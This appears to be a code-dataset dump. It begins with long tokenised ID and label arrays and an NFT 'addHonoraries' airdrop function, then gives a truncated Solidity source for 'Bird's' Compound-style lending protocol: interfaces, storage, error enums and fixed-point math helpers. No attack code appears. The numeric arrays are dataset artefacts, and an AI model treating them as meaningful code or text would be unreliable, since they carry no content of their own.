-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0xC988bcf1261600E82101bCe21b286894F7a18Ffa/sources/contracts/artifacts/nft.sol | ******************* */ Airdrops */ ******************* */ | function addHonoraries(address[] calldata honoraries) external onlyOwner {
uint256 honoraryID = numHonoraries + 10000;
for (uint256 i = 0; i < honoraries.length; i++) {
tokenIDMap[honoraryID] = honoraryID;
_safeMint(honoraries[i], honoraryID);
emit Claim(honoraryID);
honoraryID += 1;
}
numHonoraries += honoraries.length;
}
| 7,205,181 | [
1,
19,
1377,
432,
6909,
16703,
4202,
342,
225,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
44,
265,
280,
5646,
12,
2867,
8526,
745,
892,
24338,
280,
5646,
13,
3903,
1338,
5541,
288,
203,
3639,
2254,
5034,
24338,
280,
814,
734,
273,
818,
44,
265,
280,
5646,
397,
12619,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
24338,
280,
5646,
18,
2469,
31,
277,
27245,
288,
203,
5411,
1147,
734,
863,
63,
76,
265,
280,
814,
734,
65,
273,
24338,
280,
814,
734,
31,
203,
5411,
389,
4626,
49,
474,
12,
76,
265,
280,
5646,
63,
77,
6487,
24338,
280,
814,
734,
1769,
203,
203,
5411,
3626,
18381,
12,
76,
265,
280,
814,
734,
1769,
203,
203,
5411,
24338,
280,
814,
734,
1011,
404,
31,
203,
3639,
289,
203,
203,
3639,
818,
44,
265,
280,
5646,
1011,
24338,
280,
5646,
18,
2469,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-19
*/
pragma solidity ^0.5.16;
/**
* @title Bird's BController Interface
*/
contract BControllerInterface {
/// @notice Indicator that this is a BController contract (for inspection)
bool public constant isBController = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata bTokens) external returns (uint[] memory);
function exitMarket(address bToken) external returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address bToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address bToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address bToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address bToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address bToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address bToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(address bToken, address payer, address borrower, uint repayAmount) external returns (uint);
function repayBorrowVerify(address bToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external;
function liquidateBorrowAllowed(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint);
function liquidateBorrowVerify(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external;
function seizeAllowed(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint);
function seizeVerify(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external;
function transferAllowed(address bToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address bToken, address src, address dst, uint transferTokens) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(address bTokenBorrowed, address bTokenCollateral, uint repayAmount) external view returns (uint, uint);
}
/**
* @title Bird's InterestRateModel Interface
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
/**
* @title Bird's BToken Storage
*/
contract BTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-bToken operations
*/
BControllerInterface public bController;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first BTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
/**
* @title Bird's BToken Interface
*/
contract BTokenInterface is BTokenStorage {
/**
* @notice Indicator that this is a BToken contract (for inspection)
*/
bool public constant isBToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterestToken(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event MintToken(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event RedeemToken(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event BorrowToken(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrowToken(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrowToken(address liquidator, address borrower, uint repayAmount, address bTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when bController is changed
*/
event NewBController(BControllerInterface oldBController, BControllerInterface newBController);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketTokenInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewTokenReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint);
function _acceptAdmin() external returns (uint);
function _setBController(BControllerInterface newBController) public returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint);
function _reduceReserves(uint reduceAmount) external returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint);
}
/**
* @title Bird's BErc20 Storage
*/
contract BErc20Storage {
/**
* @notice Underlying asset for this BToken
*/
address public underlying;
}
/**
* @title Bird's BErc20 Interface
*/
contract BErc20Interface is BErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint);
/*** Admin Functions ***/
function _addReserves(uint addAmount) external returns (uint);
}
/**
* @title Bird's BDelegation Storage
*/
contract BDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
/**
* @title Bird's BDelegator Interface
*/
contract BDelegatorInterface is BDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
/**
* @title Bird's BDelegate Interface
*/
contract BDelegateInterface is BDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
contract BControllerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BCONTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
BCONTROLLER_REJECTION,
BCONTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_BCONTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_BCONTROLLER_REJECTION,
LIQUIDATE_BCONTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_BCONTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_BCONTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_BCONTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_BCONTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_BCONTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_BCONTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
/**
* @title Careful Math
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
/**
* @title Exponential module for storing fixed-precision decimals
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
